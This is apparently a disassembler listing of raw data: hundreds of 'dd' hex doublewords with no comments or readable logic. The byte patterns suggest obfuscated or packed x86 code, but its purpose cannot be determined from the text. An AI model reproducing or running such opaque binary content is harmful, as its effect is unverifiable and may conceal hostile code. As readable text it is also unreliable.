		dd 61B61E67h, 0B094E85Ch, 5762B796h, 0D3EA3AE3h, 0CA76BE6Fh
		dd 0C5398DB4h, 5BAC1DE1h, 1796906Eh, 0A9B9D7Bh,	0B7A590E5h
		dd 2EDC3E46h, 17997E4Fh, 9152FCD0h, 3505C667h, 4EE32Ch
		dd 0BD0D0000h, 0DD0B4A50h, 0BBA1BAC1h, 941D0733h, 49D605C3h
		dd 0D10C6B47h, 7C46C563h, 7C2C5888h, 0FC363C6Bh, 55D96BF1h
		dd 3C6B7C31h, 7C3753DBh, 42B83C6Bh, 5B638DF5h, 0E58BE040h
		dd 43823C01h, 4D69FD6Fh, 223C6BDAh, 97FC1BD8h, 4000000h
		dd 0E4760D6Fh, 9F052140h, 0B6C1AEBDh, 6AD3A79Bh, 0DC2BDA19h
		dd 2D2519EDh, 3A60CB59h, 1DFAD720h, 9612C125h, 5D211067h
		dd 357ECF79h, 0DB23D218h, 8AFE76E4h, 1D3A60C8h,	2F070B25h
		dd 3A60C960h, 34BC496Bh, 6680BFC9h, 0D27C92E7h,	3523C249h
		dd 81DD067Ah, 0BFA60FBh, 197DC1F8h, 0CE97DEFh, 0E1447189h
		dd 33443599h, 0D6087CF0h, 0BB9F3075h, 978BC2D2h, 73723623h
		dd 10DA613Bh, 6472799Ch, 3A3CA34Eh, 0F6296A60h,	495236BEh
		dd 0EDD52E5Bh, 9AE05F89h, 0D6FBB59h, 9540E476h,	1ABD85B9h
		dd 0B2CB3A20h, 0BD313B8Fh, 3A7987C9h, 0E600645Eh, 0C66EBB62h
		dd 0DB3F83B2h, 0BFCAED3Ch, 6145EF46h, 81C569FBh, 63A797Fh
		dd 7F26A2CAh, 51A93A79h, 0F710D37Dh, 32397A2h, 80AFAC2Bh
		dd 876C79B3h, 739C4772h, 0F6A72B26h, 302D91A0h,	7B8C7570h
		dd 2F78954Eh, 3E9AE12h,	73000000h, 0D4DE9C84h, 57A009FDh
		dd 0D127967Ah, 52AB12E6h, 0EE329B6Fh, 66BA63D7h, 0FC02EB5Fh
		dd 798871C5h, 0FA0DFC40h, 53CF7BCFh, 0BF57E389h, 54080337h
		dd 440DE781h, 0EF81533Dh, 343A6B1Ah, 94EFF781h,	0FB011BCDh
		dd 4EB835Fh, 5C241C87h,	24F168h, 24348900h, 7F7E68h, 242C8900h
		dd 659EB850h, 81500612h, 1234242Ch, 815E4C45h, 451234C6h
		dd 0C468584Ch, 89000025h, 4812424h, 424h, 0EC835D00h, 24348904h
		dd 0F8242C81h, 8F41915Ch, 45810845h, 915CF808h,	242C8B41h
		dd 81E38953h, 4C3h, 4C38100h, 87000000h, 0FF5C241Ch, 815E2434h
		dd 4C4h, 13EDE900h, 386FFFF9h, 34AA450Eh, 2001E6D0h, 0EF1DDA29h
		dd 6AB3B87Dh, 0C5030612h, 91D4E0FFh, 2D18520Dh,	0F0717BA6h
		dd 99756B90h, 2E566AB5h, 4F347E7Ah, 0A9FC4FE2h,	0B4194EDEh
		dd 73974CCEh, 0E57B5325h, 68A24E7Dh, 2DD6EBDh, 0A111186Dh
		dd 0A76B7CF5h, 88120E36h, 4B644DE7h, 0CF2A7BEBh, 196E504Eh
		dd 894A7615h, 0D30430FCh, 2C75CB9h, 0CE83340h, 37000000h
		dd 9718CA6Ch, 24960C70h, 81FD1E16h, 79B42AC9h, 8B66581Ah
		dd 0B6C081CEh, 0B9000070h, 7A44ACB7h, 1BF9BEh, 6030FF00h
		dd 0FE8B9h, 0DFD0811Eh,	611D7C20h, 0FFB70F5Ah, 0D7A8EA81h
		dd 0F606E1Ch, 28Ch, 8A5A5000h, 0F28161C8h, 52CCC6F7h, 512B01BBh
		dd 0DDEA814Bh, 8B03DA63h, 14E852F9h, 35000000h,	556FBC5Bh
		dd 0EC6D80A8h, 44828CEAh, 0DFFF6556h, 5FE94A85h, 7E8008Fh
		dd 68000000h, 6476914Ch, 0B70F504Eh, 0E88359CAh, 8C18104h
		dd 4E545EAFh, 1B850Fh, 8B660000h, 33E9D9h, 0D5080000h
		dd 128332ECh, 0D7E63EACh, 95D1A227h, 1B7F1822h,	0A8A0F91h
		dd 0F000000h, 48Fh, 0BBF6600h, 0FF5BE9EFh, 945EFFFFh, 239AB443h
		dd 0D17684D1h, 328D8D01h, 0B306126Dh, 4D8D89BEh, 6A060B17h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 1C1EC351h, 7B3BBA66h, 11985C7h
		dd 6A60060Bh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 7338FAC3h, 0EB316Eh, 8B66A007h
		dd 985C7D9h, 60B10h, 0BF000000h, 619D8066h, 2355B5FFh
		dd 6A060Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h
		dd 53430000h, 0B6D987C3h, 0C595FFD2h, 6A060B0Ah, 0DD95FF00h
		dd 8B060B32h, 810FEBC0h, 0CF73A7B7h, 892D06AFh,	49DF13CAh
		dd 0BE89A93h, 52000000h, 5D5C7659h, 0F4FE446Ah,	0BE83F8Eh
		dd 0EB000000h, 86416DBFh, 3399EE8Dh, 8501CE80h,	60B1599h
		dd 0B52B585Bh, 60B3309h, 5B53C081h, 95230000h, 60B2895h
		dd 68h,	55958900h, 59060B1Bh, 0BE0134FFh, 46AB7D40h, 0FE9575Fh
		dd 83000000h, 93401FDAh, 0D1561823h, 44AC80E1h,	815EA5C8h
		dd 66EA2DF7h, 0B5F28026h, 75D5C781h, 9D2940F4h,	60B05F1h
		dd 0A73FC781h, 89F9522Eh, 0F78B083Ch, 8380E680h, 0E96004E9h
		dd 12h,	0DD9BADA6h, 8C7BA9D0h, 0F82A467Dh, 2B4E014Ch, 890F7EE8h
		dd 5, 3CE431BEh, 0F9816105h, 0FFFFA574h, 0FF8A850Fh, 0FE9FFFFh
		dd 0E3000000h, 0A3929B0Ch, 4B4D8DFFh, 36CF0412h, 0C08B0112h
		dd 187h	dup(0)
		dd 840F0000h, 1, 18E0FF8h, 0F5000000h, 6A9DF5h,	3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 0C16C64C3h, 56D3BA0h, 18A0F60h, 0F5000000h, 61C88B66h
		dd 78A0F61h, 0F000000h,	18Ah, 6A5DFC00h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 7714C355h
		dd 0F0F84D8h, 1982h, 14E900h, 241E0000h, 0C364B19Eh, 8937735h
		dd 2708E0E0h, 0A1CF058Dh, 4401DCADh, 6A0824h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 0D0E77FC3h
		dd 0A130B393h, 8E28060h, 880F5861h, 1, 6AC39DFCh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 58A5C357h, 6078C253h, 705E9ABBh, 0E8606119h,	0Fh, 0BD49E1D8h
		dd 0C2FFB29Ah, 33EEA76Ch, 669E33EFh, 58F39CBEh,	58C0Fh
		dd 81660000h, 6142ACC0h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 17h, 0D1C35343h, 0F9AF9E9Ah, 0CE9C08Bh, 83000000h
		dd 0B3DDE4D1h, 66EE305Ah, 0E9149E11h, 0Dh, 2C140B66h, 0BE5BBFA9h
		dd 0CAFDF6EAh, 18D0F0Fh, 0F9000000h, 0AE9h, 0E34D1500h
		dd 4CE3CA79h, 80BEB602h, 66FC9AEBh, 50A8DF81h, 66CFBF0Fh
		dd 6E8FC881h, 0BE9h, 703CEF00h,	51861D3Bh, 0A4FDC047h
		dd 66FB8B66h, 12E8C28Bh, 7C000000h, 6CCF1AB1h, 0CADA6482h
		dd 0FE480086h, 526D3610h, 0B3BE664Eh, 3CBB5960h, 0F503B40h
		dd 6652CFB7h, 5BA17FBFh, 0FCFDC580h, 10E9h, 539C9300h
		dd 0E9724526h, 0F619BDEEh, 1CE73B22h, 0E9D38B34h, 13h
		dd 84C446BFh, 6060F13Bh, 1E63CAF9h, 87889760h, 66E537A6h
		dd 0E9FCD78Bh, 0Eh, 0B357B0D7h,	0AD442F54h, 0CCF1EF81h
		dd 0BF0F4B9Ah, 0E78166F8h, 0E58AFDC7h, 18810Fh,	8F0F0000h
		dd 12h,	0DE9h, 0C5801000h, 1F8FD21Eh, 333FEFEFh, 8B66F16Eh
		dd 811CB1C2h, 0CDA5F4F0h, 8D0FF57Eh, 5,	59EB8166h, 80C68BA4h
		dd 0CB8088F0h, 0CB8B66BDh, 0CE9h, 2BB12F00h, 9C8D9C55h
		dd 0BB7F7805h, 2CD78193h, 0E929327Ch, 11h, 3E6C0B1Eh, 3E7C8A6h
		dd 21A6D9C0h, 4731F214h, 0B9F780E0h, 94CF8160h,	8B2BEA56h
		dd 0DE961C8h, 85000000h, 2CBCAADDh, 0A173C171h,	0A09DDAA9h
		dd 3810Fh, 0C5800000h, 13E580B8h, 5880F60h, 0B9000000h
		dd 21345A43h, 70BF6661h, 0AE91Eh, 32320000h, 60183D19h
		dd 78CACCC1h, 0C25EDB81h, 12E92442h, 0B4000000h, 15C1A0Ch
		dd 0F33FAFFEh, 6881BC95h, 7D3A2395h, 9E954h, 0EADA0000h
		dd 443A784Ah, 0F8FF04Eh, 383h, 0DBB70F00h, 27B966FCh, 830F602Ah
		dd 0Ch,	6E8h, 0AD306F00h, 5B566BF5h, 0B8C0Fh, 5E80000h
		dd 0A1000000h, 87602E08h, 0F576159h, 28Bh, 595A5100h, 6E9h
		dd 7BEC6C00h, 80448AE1h, 0B70F0EE9h, 76DA81FEh,	0F765D3Dh
		dd 0E780C2B7h, 0B70F6089h, 9E881D6h, 61662568h,	81665851h
		dd 0B34BBDE6h, 0CDB96612h, 0F0BA6660h, 0FE88AB8h, 586h
		dd 1988B900h, 5956669Ch, 0C332E381h, 8E918D9h, 0EA000000h
		dd 56AFDF09h, 805DECEEh, 14E960C6h, 0B2000000h,	208FAD52h
		dd 0A1B2FCB7h, 0E0B491BAh, 9F4C2E9Ch, 666A4213h, 8B7B1FBBh
		dd 0E08166CFh, 66608A13h, 0A2B4D281h, 386ED281h, 66616FDAh
		dd 0E97372B9h, 7, 0A385FEB7h, 66A0D618h, 0FF5C68Bh, 0E38AF0BFh
		dd 4850Fh, 0BA660000h, 0D78B2234h, 11E9h, 0DE353800h, 0BBA5CB8Fh
		dd 0B3539721h, 0B201C870h, 59BA5374h, 6049D121h, 11E8h
		dd 0A7ABDD00h, 54DF48E7h, 11E256BBh, 8955782h, 58FC0142h
		dd 8161D18Bh, 3C26C3C8h, 13E963h, 9E4D0000h, 1E160F8h
		dd 0DC0C7689h, 0BFB08FBDh, 7A0B3CD8h, 0B6F860ECh, 66F961FDh
		dd 0B378EE81h, 870F8DB0h, 3, 0FBDDF80h,	0F08BCFB7h, 14E9F9F9h
		dd 0C7000000h, 0E4403A6Ch, 0E0957F52h, 9EF83CB7h, 0ADF3B73Dh
		dd 0E95D6186h, 8, 6DBFEBA6h, 0EE8D8641h, 0FB8B66F8h, 0B5C3B70Fh
		dd 1FF3810Dh, 815EC6B9h, 8A533AE3h, 0B759572Eh,	3830FC3h
		dd 0F000000h, 0C880F7BFh, 0C5CE80CBh, 0E9CEB70Fh, 0Eh
		dd 53812969h, 57846075h, 99AAE817h, 5E814F7h, 0BC000000h
		dd 0AE10C602h, 78C08060h, 0CCB65F61h, 0E1CB8166h, 0A880F40h
		dd 0E9000000h, 5, 2F517E49h, 8F0FF5FBh,	0Ch, 68E0Fh, 800F0000h
		dd 0
		dd 66C88B66h, 9597F681h, 53C752BEh, 28C0F18h, 8B000000h
		dd 14E9DFh, 0ECC70000h,	747BF104h, 92E5B83Ah, 1F5F971Dh
		dd 574F29FFh, 0B4BAA638h, 0E802A516h, 8, 0A83C07BCh, 1480B9E1h
		dd 0B70F5FF5h, 0CE8DFh,	0ED110000h, 0C35E3F64h,	7739C177h
		dd 0BE82B67h, 4A000000h, 0A077CCBCh, 9A6B5951h,	9E80590h
		dd 0C1000000h, 6303B8C8h, 14F31061h, 0E95F5F5Bh, 11h, 5D49C127h
		dd 6EFC33B5h, 0BE7F5584h, 7CD448A6h, 800F4Eh, 0BB000000h
		dd 4DA0911h, 66F7BF0Fh,	0E97AABB9h, 7, 0BCBB4ABFh, 6035C04Fh
		dd 0F3B70F60h, 3150B861h, 666133FDh, 8900F381h,	99FFEF81h
		dd 66523624h, 0BAFEF081h, 0D08B665Bh, 820Fh, 0F7810000h
		dd 287B29E5h, 14E9h, 0E428FB00h, 0A86946BAh, 0B29A3A4h
		dd 0C93DD0F1h, 7934F992h, 12E945h, 5BF50000h, 2F2A877Ch
		dd 19BFF7FAh, 6591CD40h, 2E28B5B0h, 5E9h, 0B4D58000h, 0BEB4AB84h
		dd 95C489BEh, 5160F96Ah, 59C28B66h, 9E54FDB9h, 8F0F6145h
		dd 11h,	9E8h, 0D4F48C00h, 0C4FB6B08h, 5952A41Bh, 0DF8B6659h
		dd 1A810Fh, 880F0000h, 14h, 0FE9h, 51BDF600h, 0AFAAEEECh
		dd 71D67B2Bh, 5372D7CBh, 0CF8BDE8Bh, 6E9h, 0C99C7100h
		dd 808C7FF3h, 0E28185EAh, 26372AE5h, 0E9CFBF0Fh, 11h, 0EA802F50h
		dd 0A473CE58h, 7D9B0D4Ch, 3CDCA8Bh, 0C4BA66A6h,	0DF8B667Ch
		dd 5238BF66h, 5E9h, 8951F000h, 0F98B2326h, 0F8D2BF0Fh
		dd 0F9F18B66h, 0E9D8BF0Fh, 13h,	1001368Ch, 0ACD05A53h
		dd 23256574h, 545175CAh, 0E87DBAC5h, 13h, 13068DAEh, 0DEFDA25Bh
		dd 0B36335C7h, 0DEF44E80h, 0F9431738h, 0B72B858h, 0DA8B0CDFh
		dd 0B8A361BFh, 0B3E0B922h, 0BF0F2805h, 0C0B70FD7h, 12E9C28Ah
		dd 15000000h, 0B018ADE5h, 86F9A44Eh, 399396F5h,	9065B101h
		dd 0EE926h, 2A190000h, 0D2D476C1h, 3D1515BDh, 9A45BE3Ch
		dd 0FF98B66h, 8Eh, 0C6816600h, 805624E0h, 8B5E2ACFh, 11E9D6h
		dd 7A5D0000h, 93718E4Eh, 3402EA42h, 0E5B0B5C8h,	0E8A21B1Ah
		dd 14h,	426C8F29h, 0CCC53EFDh, 0C13710Eh, 993A62Bh, 0A30067D6h
		dd 0AEEF8166h, 8E0F5EEFh, 3, 0F6EE280h,	386h, 0FBBF0F00h
		dd 0E8F08060h, 19880Fh,	14E90000h, 0CA000000h, 4D1B1BB9h
		dd 0DE1A6619h, 6D9C3546h, 4BF21650h, 61CE1E09h,	5E957h
		dd 70960000h, 5AF1D0F5h, 2DD68166h, 9E9CDh, 7A5E0000h
		dd 6259A6C1h, 0BB7DE0DBh, 51C2CF13h, 0BE9h, 9AB96B00h
		dd 3E4C1F76h, 0E54B0E06h, 0FA4CB80h, 582h, 0F7816600h
		dd 0B966D71Eh, 0BEFC8845h, 699D945Dh, 0E963D480h, 9, 0BEB596CFh
		dd 2A20AC9Ch, 0CE932h, 337C0000h, 0D5B97C95h, 0FF861363h
		dd 850FEA76h, 0
		dd 1659F681h, 40B07A61h, 8A0F6160h, 5, 264CE3BEh, 1C6813Fh
		dd 0BE63548Dh, 3552B57Ch, 0D08BC68Bh, 7E9h, 0A92A000h
		dd 0A819D718h, 76D08166h, 0DE96053h, 4E000000h,	0EDA3087Ch
		dd 0E8D0168Eh, 0CEA99DADh, 9E5ACA81h, 8B617207h, 0F3B70FD8h
		dd 0F70B5F9h, 0CE9F1B7h, 0C8000000h, 0DE41550Eh, 8C545263h
		dd 66E72844h, 81B55CB8h, 0B26FDADFh, 0AF67BB31h, 0DF8B0A45h
		dd 39C18166h, 19830F19h, 0E8000000h, 0Dh, 0FF98F5Ch, 173B728Fh
		dd 5C15AA6Ch, 870F2Ah, 5E000000h, 66C7B70Fh, 8BDCE381h
		dd 11E89AB6h, 81000000h, 69950E08h, 8249BC1Dh, 0E1C8505Fh
		dd 3FB1DB59h, 48E38160h, 0E96B6E5Dh, 0Fh, 1300772Ch, 81BDA6ADh
		dd 23F73E9Fh, 61A7B85Ch, 0CE8B665Bh, 7E9C38Bh, 0B4000000h
		dd 0B19D05EBh, 0E9533929h, 0Dh,	1D35A147h, 5A6D0E90h, 0C927042Ah
		dd 8B665A04h, 0EE9F8h, 69690000h, 9B2838B9h, 7EA68CCEh
		dd 38BCB610h, 2880Fh, 0F78B0000h, 80D6B70Fh, 8166E1C0h
		dd 0F5842F3h, 0F56C2BFh, 8158DABFh, 8B36BCC3h, 0D68B6630h
		dd 12E8h, 0EEF6BD00h, 0DF88DF4Ch, 12969294h, 36DF1AA1h
		dd 0F9A5E262h, 0CE958h,	94B30000h, 7C96F406h, 740082B0h
		dd 9E99E69h, 8000000h, 5E7F353Bh, 0DED69E83h, 0F261F781h
		dd 32B615DEh, 79916CB9h, 0BF0F6039h, 0A8EB81CBh, 614F7C76h
		dd 13E9h, 0AE350800h, 1188B17Ah, 11BC0568h, 0B3E12214h
		dd 808BA33Eh, 0B5DB8166h, 5BF95060h, 80084EBBh,	80F28B64h
		dd 0B9FCF7h, 0F2D3453h,	8B66CABFh, 0B4C381CAh, 6620D4D0h
		dd 811260BFh, 8D4546E6h, 0DF81666Fh, 0BE99040h,	56000000h
		dd 0A28EE117h, 0B2F8B072h, 0BF0FEF85h, 0F6B70FC8h, 7D731BBh
		dd 0FBB70F7Dh, 4A69BE66h, 11E9h, 3AFCFF00h, 0CCA95BF0h
		dd 9DB51B2h, 8A0CC40Eh,	0DE92E81h, 2B000000h, 0BA805F72h
		dd 0CFBB5B6Ah, 386A9907h, 0DB66BE66h, 72C5B966h, 0FFC6160h
		dd 381h, 0F88B6600h, 6401C081h,	8B6666F7h, 0FF98BC2h, 284h
		dd 0FD38A00h, 8E8C7BFh,	0AA000000h, 1A7776A2h, 8B693555h
		dd 0F78B5FD9h, 66D08B66h, 5496F781h, 0EE9h, 0E8142700h
		dd 4FCE1C81h, 0B5419A22h, 512E388Fh, 0BAD1F381h, 815F7923h
		dd 4039B3E6h, 66F28B61h, 0BF0FD98Bh, 0C38B66FFh, 0D1F681F8h
		dd 0F6C7121h, 83B2D1BFh, 0C870F60h, 0E8000000h,	6, 0B063842Ch
		dd 66582723h, 42DAEE81h, 0FE961h, 0F2E00000h, 6AA08A25h
		dd 0C4E04C29h, 7C1BFC6Eh, 8E8C7h, 0FD00000h, 6605AAFCh
		dd 0B70FF83Eh, 0FFC58D8h, 0EDB8F8BFh, 6643F2C8h, 0A4ABDF81h
		dd 5DD98166h, 0FE6DB9DDh, 81661287h, 603F3DD0h,	8E9h, 4BEED00h
		dd 1759F5EBh, 0AE96Ah, 26930000h, 9D6BEA05h, 0F98C3707h
		dd 0D6BF0F61h, 4820F51h, 66000000h, 5F43C6B9h, 0D9B699B7h
		dd 356AB6BFh, 5BF5571Bh, 66F88B66h, 44CBEA81h, 0CE857h
		dd 26560000h, 0D0700B22h, 7DFDFBE2h, 8F0FA20Dh,	0
		dd 14E95A5Ah, 0CE000000h, 0E4B3E738h, 15088E67h, 0A6B020B2h
		dd 0EE2F9E1Ah, 0F6507EBh, 384h,	0D9BF0F00h, 0BB51BA66h
		dd 13E8h, 8C159A00h, 13866F57h,	0D0EC93DBh, 0B6C6106Eh
		dd 0F5AF94DAh, 0F5A52B3h, 685h,	8A0F00h, 0E9000000h, 14h
		dd 1957E6BEh, 0A4E3E228h, 2ADD73Ch, 0BF4F810Dh,	26155461h
		dd 0DE8h, 6CFB9300h, 4D49D10Eh,	343BD9CFh, 5AF91443h, 0F759EA81h
		dd 81666B18h, 80E2F6EAh, 0FF5FDD8h, 28Eh, 0BAD68B00h, 7376CCDEh
		dd 3BEA8166h, 0D3816645h, 96BEA39Fh, 0F180653h,	1088h
		dd 0BE900h, 4B800000h, 937DF387h, 64DCC54Eh, 6167BB4Ch
		dd 0AB42962h, 6760E281h, 0AFBE5034h, 0E809751Eh, 5, 61E8F430h
		dd 0D38B662Fh, 10E95Bh,	256D0000h, 0A661A1BBh, 2EBE3779h
		dd 0B917BEFEh, 1CBBF6AEh, 664B82DCh, 0C18BFA8Bh, 0AE9h
		dd 76697C00h, 5559132Ch, 0F565972h, 0C87h, 7E900h, 164F0000h
		dd 0E874F1E7h, 2830FE1h, 0B1000000h, 66D38B23h,	0DC38E181h
		dd 809DE380h, 0BA6637F7h, 0F080EE0Eh, 12E801h, 1E900000h
		dd 5D7D4D37h, 602DA7C1h, 0CC0308Ch, 35038AC6h, 8B5ECC8Ah
		dd 0DE952F2h, 23000000h, 0BD0E609Fh, 667F4DF9h,	0C19CE950h
		dd 0C381665Bh, 0EBB2396Dh, 12E8h, 27678300h, 0E72C2AB2h
		dd 0B8A8BDB7h, 243FAE3h, 0F6E1DD3h, 283h, 5F5F5000h, 58A0Fh
		dd 80530000h, 0FC5A4DC8h, 11E8h, 0C94CA000h, 79C388C3h
		dd 82AD57EAh, 0B37F40DBh, 10E8EEFCh, 47000000h,	9E56DFFAh
		dd 2F527473h, 926EA2B2h, 0FE20198h, 5B5EF1BFh, 0F67DB80h
		dd 0BE8C8BFh, 0F8000000h, 0C929E138h, 0BE93EDC6h, 0E280A152h
		dd 0E9F5597Fh, 12h, 0ED84467Fh,	5DA15F59h, 0E7D4E15Dh
		dd 6B56EAFh, 0BBBE458Bh, 0E9439F84h, 5,	26100E9Dh, 2CD381B4h
		dd 664533E8h, 0E917ACB8h, 12h, 93487BF5h, 795246Bh, 6BA4707Fh
		dd 9447E507h, 5CBE039Ah, 0F5682B2Dh, 74E38166h,	60D6BFB6h
		dd 0BF66285Ah, 8160F973h, 0C95138C3h, 8D0F616Bh, 8, 52C88152h
		dd 5A09DDF2h, 0D751E5BAh, 0AE91Eh, 28220000h, 0AD0836C5h
		dd 358B96BDh, 5E9h, 0F657DD00h,	0BA6626A0h, 2BBB3D3Bh
		dd 8B3980ABh, 6BE181C1h, 5163176Ch, 0FBB6C281h,	0E95810C2h
		dd 5, 7F5B2EC5h, 6880F64h, 81000000h, 9AA92BC2h, 5800F36h
		dd 52000000h, 59DABF0Fh, 10E9E18Ah, 17000000h, 0FB93D83Ch
		dd 49D10E6Ch, 3BD9CF4Dh, 51144334h, 5E958F5h, 82000000h
		dd 0D274F3F0h, 0BE97AB0h, 1E000000h, 0CE13CB1Dh, 0F2871434h
		dd 0BF0FED52h, 59EE81C7h, 0F77DD97h, 887h, 810F5700h, 0
		dd 7E958h, 8BCD0000h, 75AB5BFAh, 81CE8B48h, 82470F1h, 830FF90Bh
		dd 0Bh,	5870Fh,	0CAB90000h, 0E94759BBh,	13h, 0FA82B24Fh
		dd 161755CCh, 2BED2EBFh, 6F5EB301h, 0BFC3A787h,	6601474Bh
		dd 13E9h, 509EF500h, 4DA1EFF1h,	349003B7h, 0C49262C6h
		dd 43BC0F90h, 0FF56057h, 85h, 0BF596100h, 3D42EFEh, 3890F53h
		dd 0F000000h, 665BD6BFh, 0C18AF28Bh, 81665160h,	59E5BCE0h
		dd 0F61F38Bh, 68Ah, 6C08100h, 8175BB70h, 4A4208D8h, 0CE810h
		dd 51A00000h, 909A6B59h, 0D6BBD405h, 8B51ACB1h,	0E95F58F0h
		dd 13h,	8D669244h, 659A4ECEh, 0D19AD28Bh, 0FEACD2BDh, 0FD5AAACh
		dd 0FE9FFB7h, 0E3000000h, 0D02DD7BCh, 0DCC3FD99h, 1C16A20Ah
		dd 0D78A2755h, 0D43087B9h, 30B9665Bh, 90D681BFh, 0F4CA5C0h
		dd 1386h, 0D870F00h, 0E9000000h, 8, 0EC9F3F2Bh,	9E38DF3Ch
		dd 8D0Fh, 81660000h, 815D44EFh,	1F9CFCCBh, 8E9F511h, 6E000000h
		dd 3A1929D1h, 0E9E94D6Bh, 0Ah, 682DBFABh, 0EC594811h, 0C78AA136h
		dd 0B50EC080h, 0AE866h,	0E3110000h, 0AFD8A8DDh,	0B9DCE8A9h
		dd 0C1DAEB81h, 0E95B0E64h, 10h,	2194847Fh, 631233Ah, 559498CFh
		dd 0D56CD88Fh, 6FDA8166h, 0ECC781D3h, 0B03907D9h, 66FA8BEAh
		dd 0DCC9F081h, 0BAB8CC80h, 5673960Ch, 7E960h, 65280000h
		dd 220B2451h, 61D4B1FEh, 8AFFDE80h, 0BAB157F1h,	0E981F55Eh
		dd 7483E9A8h, 0FF27BB66h, 12E8h, 73E77800h, 3B27168Fh
		dd 3C35668Ah, 87162FF6h, 0E8253DD4h, 6,	76D58A28h, 8C0F2B80h
		dd 0
aZs		db '^Zé',0Bh,0
		db 2 dup(0), 75h
		dd 38396885h, 7135EDA8h, 1BA6568h, 0F73B7EDh, 178Dh, 12E900h
		dd 5B770000h, 7336FE76h, 5B2CFE2Ch, 3B01E315h, 4A602DCh
		dd 0B67FB866h, 68B0Fh, 820F0000h, 0
		dd 79BA6660h, 0F61F937h, 800FFABFh, 0Bh, 5870Fh, 0E0B80000h
		dd 66215C2Bh, 10E8D38Bh, 0FC000000h, 13D8BCD6h,	2B9BF3A5h
		dd 0E3DDF67h, 8162CFF0h, 0A2844ED6h, 0D48A5E7Ah, 0AFBE66FCh
		dd 14E953D2h, 5000000h,	1DFC1899h, 0DF284C51h, 7AAC6E74h
		dd 6967E5E7h, 5AAE33FFh, 0E9CA8B66h, 0Bh, 0CCDD5F65h, 0EC2B2286h
		dd 0BFB8FF28h, 4A6D47C9h, 13E9h, 0B700BB00h, 455CFEDCh
		dd 60EBD100h, 0A07A079Ah, 6653DC3Ah, 8159F952h,	0BC855CF1h
		dd 14E97Bh, 10900000h, 0A6C7708h, 49CBC3D2h, 0AE67C4F7h
		dd 0E8D98AD4h, 0DA8AD7ECh, 13E9FCh, 95DD0000h, 0BF06A1C6h
		dd 0B29091DEh, 51AC7EDh, 93AC5D16h, 61FC60EFh, 0C480FBB5h
		dd 14E914h, 4E4C0000h, 0BCAE1FC8h, 920DEDF0h, 910D92B5h
		dd 0D2F79725h, 0E8606A2Eh, 11h,	917DB994h, 33BBDFB5h, 6B6FB2AAh
		dd 0CA567320h, 13E82Ah,	607D0000h, 8E80F33Ch, 5F0F49D3h
		dd 1380CE47h, 7FA4742Dh, 0F5B5F37h, 0E961D7BFh,	0Fh, 0A51D68D9h
		dd 0F8A1401Dh, 0DB7C6F0Dh, 8192068Ah, 6B605F6h,	1830F64h
		dd 0FC000000h, 8AEABA57h, 815E137Fh, 7B0907E8h,	0CE97Eh
		dd 0A8140000h, 0A16E23A9h, 91F6961Eh, 0BA669DF8h, 41B6876Fh
		dd 38C0Fh, 8B660000h, 0B2E781F8h, 80157A53h, 0E9F54ACBh
		dd 0Ch,	5DC21660h, 0ED7C7A0h, 13D7F2CAh, 5CF08166h, 13E95305h
		dd 2A000000h, 1793820h,	0DF5B4EF1h, 34611F01h, 0D30F8DE1h
		dd 0F85E7FF8h, 0FB8B6057h, 586191B4h, 10E88166h, 1A850FC3h
		dd 60000000h, 0B0DCBA66h, 0EE8h, 0B1417E00h, 0E2D339A5h
		dd 0E2A3C76Ch, 58E93BDCh, 2AE68061h, 12E8h, 0EC8CDC00h
		dd 0C776B29Bh, 0D42F64DDh, 0C60F3AC5h, 5A6084DBh, 3C7ABA60h
		dd 0BB6637E7h, 0F618F71h, 0E860CABFh, 7, 0A9A9FEF3h, 605BAA12h
		dd 0F5615E61h, 14E956F5h, 45000000h, 237F3031h,	3285D7E4h
		dd 4F1D7A82h, 6B653A7Bh, 5810BAE6h, 0CE9h, 91B1D500h, 297AF661h
		dd 0C5BEBCFCh, 0CE94Ch,	0DF910000h, 0D4693A27h,	0B0DFC42Fh
		dd 8B6636EFh, 0F840FCEh, 0E8000000h, 7,	95B19161h, 8B94E502h
		dd 0B70F5BF1h, 0FEB70FD1h, 0F8FA8B66h, 0CE8h, 0BF770100h
		dd 0D64E3299h, 44E4724Eh, 0F605840h, 681h, 850F00h, 8A000000h
		dd 816661C7h, 0F3477C2h, 0AE9CEBFh, 0DA000000h,	57DB0771h
		dd 6066CF34h, 38D0F4Fh,	80000000h, 0EE959DCh, 0BF000000h
		dd 5FBA6FDBh, 6F1B2D58h, 6E4A787Ah, 9A8CBAAAh, 0B8665687h
		dd 10E99E17h, 0C0000000h, 698DE341h, 0FFC2D865h, 0C84DB852h
		dd 0B570A254h, 39B96666h, 77C08186h, 80737153h,	0E7800DC4h
		dd 6E86014h, 0B1000000h, 0E2D339A5h, 12E96Ch, 7070000h
		dd 647B8181h, 0A44FE0FDh, 0E397F1E8h, 0CF53730Bh, 0F38B665Eh
		dd 0C1BF0F61h, 880FF88Ah, 1Bh, 15800Fh,	0FE80000h, 7A000000h
		dd 0CF4EBD95h, 8CFD1850h, 8F8F63Fh, 0E95A282Fh,	0Ch, 0EC267866h
		dd 0A91BB755h, 5AAA0B8Ch, 0DF8BEAB7h, 0E8FA8B66h, 9, 0DEE5EC96h
		dd 3D8926BFh, 5BD1B188h, 0B2B86660h, 0F88B60A5h, 61616160h
		dd 60D7B70Fh, 66F98B66h, 61B5BEB9h, 38E0Fh, 0F7800000h
		dd 609DB5E8h, 8E0FF3B4h, 6, 2A6AE781h, 0F9610C3Ah, 26D28166h
		dd 7120BEF8h, 11E94779h, 33000000h, 2126E735h, 8C2FCC94h
		dd 38A95FD1h, 540A138h,	0CE9h, 0EBE56300h, 597542B4h, 0F04BBB97h
		dd 0FA8B66C2h, 9E9F9h, 6E3F0000h, 44CF6205h, 0F9A1C4Dh
		dd 0C8Ch, 68B0F00h, 81000000h, 5AE15FEAh, 0B966F542h, 0E860856Ah
		dd 5, 1319C043h, 5FC88B14h, 546DD0B9h, 8166613Dh, 0E93350C2h
